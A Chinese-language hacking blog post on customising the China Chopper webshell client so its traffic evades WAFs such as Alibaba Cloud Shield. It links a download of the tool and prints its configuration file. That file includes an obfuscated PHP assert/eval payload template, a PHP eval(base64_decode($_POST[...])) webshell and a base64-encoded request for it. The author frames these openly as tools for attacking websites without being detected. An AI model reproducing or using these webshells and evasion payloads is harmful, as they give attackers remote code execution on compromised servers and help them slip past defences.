/ 渗透测试

如何定制自己的中国菜刀

0x01 中国菜刀

一款强大的服务器管理工具,集文件管理、数据库管理、命令行操作于一身。
菜刀至今已经有多个官方版本,也有很多所谓的过狗菜刀流传,早期菜刀的某些配置是写死在代码层面,比如UA、数据分隔符、菜刀连接数据格式等等,这些版本的所谓过狗菜刀是通过反编译修改菜刀来达到过狗的目的。于此同时可能就有黑吃黑的情况发生。最新版本的菜刀20160622,菜刀的配置被单独存放在一个配置文件中,因此如果想让菜刀过狗只需要修改配置文件即可。菜刀配置文件为caidao.conf

历史几个版本菜刀主程序的MD5:

  • 20100928 C05D44DBE353525F492208D891B53875
  • 20111116 5001ef50c7e869253a7c152a638eab8a
  • 20141213 4b4a956b9c7dc734f339fa05e4c2a990
  • 20160622 ACAF6564637BA97F73297B0096C2994C

除此之外还存在一个20160620版本的菜刀,但是目前没找到市面上对这个版本的说法和Md5
附一个20160622版本的下载
链接: https://pan.baidu.com/s/1qXLEYQg 密码: q7s9

0x02 菜刀配置

我对以前版本的菜刀的配置不是很熟悉,也不会逆向,我觉的现在最适合使用的2016版本的菜刀,配置被单独存放在配置文件中,通过修改配置文件即可过狗。研究菜刀的最好的方法是抓包分析菜刀的数据提交和返回,建议使用微软的network monitor,可以获取某一进程的数据流量,方便分析。

菜刀文件说明:
文件说明:
caidao.exe 菜刀程序
db.mdb 菜刀的主数据库
caidao.conf 配置文件(重要,千万别删除)
cache.tmp 菜刀的缓存数据库(可删除)
readme.txt 你现在正在看的(可删除)
ip.dat 一个IP库,用于IP地址识别(可删除)
菜刀的自写脚本目录(可删除)
Customize模式的服务端(可删除)
Customize.aspx 这是一个C#的示例服务端(全功能)
Customize.jsp 这是一个jsp的示例服务端(全功能)
Customize.cfm 这是一个cfm的示例服务端(文件管理,虚拟终端)

caidao.conf内容

【这个文件必须保存为UNICODE编码】

//返回分隔标识,固定三个字符,尽量用生辟的字,如返回的内容为:X@Y12345X@Y,就读出内容为12345,
//不要包含单双引号,以免和下面的代码发生冲突,这个标记改完要重启程序才能生效。

<FLAG>X@Y</FLAG>

//User-Agent:
<UA>Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)</UA>

//第一个参数名称#K1#
<K1>z1</K1>

//第二个参数名称#K2#
<K2>z2</K2>



//以下修改后不用重启程序实时生效
//注意:除%s,%d这样的参数外,其它的%号要用%%代替,修改前做好备份
//下面的PHP_BASE,ASP_BASE,APSX_BASE三个标记会用到,不要重复了,否则可能不会读到正确的内容

//PHP_BASE参数:%s
<PHP_BASE>
array_map("ass"."ert",array("ev"."Al(\"\\\$xx%%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('%s'));\");"));
</PHP_BASE>
...

0x03 配置说明

截取了开头的一段,做个解释,配置文件的注释比较清楚,研究研究就懂
比如X@Y是用来分割服务端返回数据的,也就是服务端返回X@YblablablaX@Y,则菜刀会取出blablabla并处理显示在界面中。PHP_BASE这里是菜刀发送请求到服务端的关键所在,抓包就会发现菜刀发送的数据中POST了这么一段参数

array_map("ass"."ert",array("ev"."Al(\"\\\$xx%%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('%s'));\");"));

到服务端,其中%s除是一段base64编码,解码会发现有echo "X@Y";这种代码,就是上面说的用来分割数据。目前waf对菜刀的拦截一般是通过识别这一段内容进行拦截,而这一段内容我们是可以进行修改的,只要我们在服务端对我们请求的代码进行适当的处理,那么我们就可以随意修改。
稍微提一下目前像阿里云盾的拦截有两个层面,第一个层面是检测webshell,所以我们要有过狗的webshell,第二是对用户的请求数据进行分析拦截,所以我们需要一把好刀,请求的数据是我们混淆的,waf是分析不出来的,从而达到过狗的目的。

0x04 盾、狗、墙!

前几天在t00ls请教大佬们对阿里云盾有什么好的方法,只能温柔以待吗?大佬们纷纷表示深受其害。在知乎上也有人问云是解决问题的好方法吗,当时我还自信的回答不是,但是目前看来,云可以减少很多攻击的发生,比如像阿里云,你注入,立马封你IP。所以现在日站的时候,每次都是小心翼翼,先看看IP是不是阿里云的,如果是真的要小心,不然云盾检测出来,报警了。。。千里之堤毁于蚁穴。
我就以菜刀自带的示例解释一下过狗菜刀。
假如我们服务端的webshell是这样:

<?php @eval(base64_decode($_POST['caidao']));?>

意思是我们要对菜刀POST的数据进行一次base64解码再eval,那么我们就让菜刀在发送POST时进行一次base64编码,这样我们传输的数据就是被base64编码的,如果waf不能正确识别并解码就不会检测出是菜刀的连接数据
菜刀请求数据是这样:
ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpZF0pKTs%%3D&id=%s
前面一段解码后是:
eval(base64_decode($_POST[id]));

过狗就是这么简单,我们可以更改菜刀的请求数据格式,只要我们有对应的webshell进行处理即可。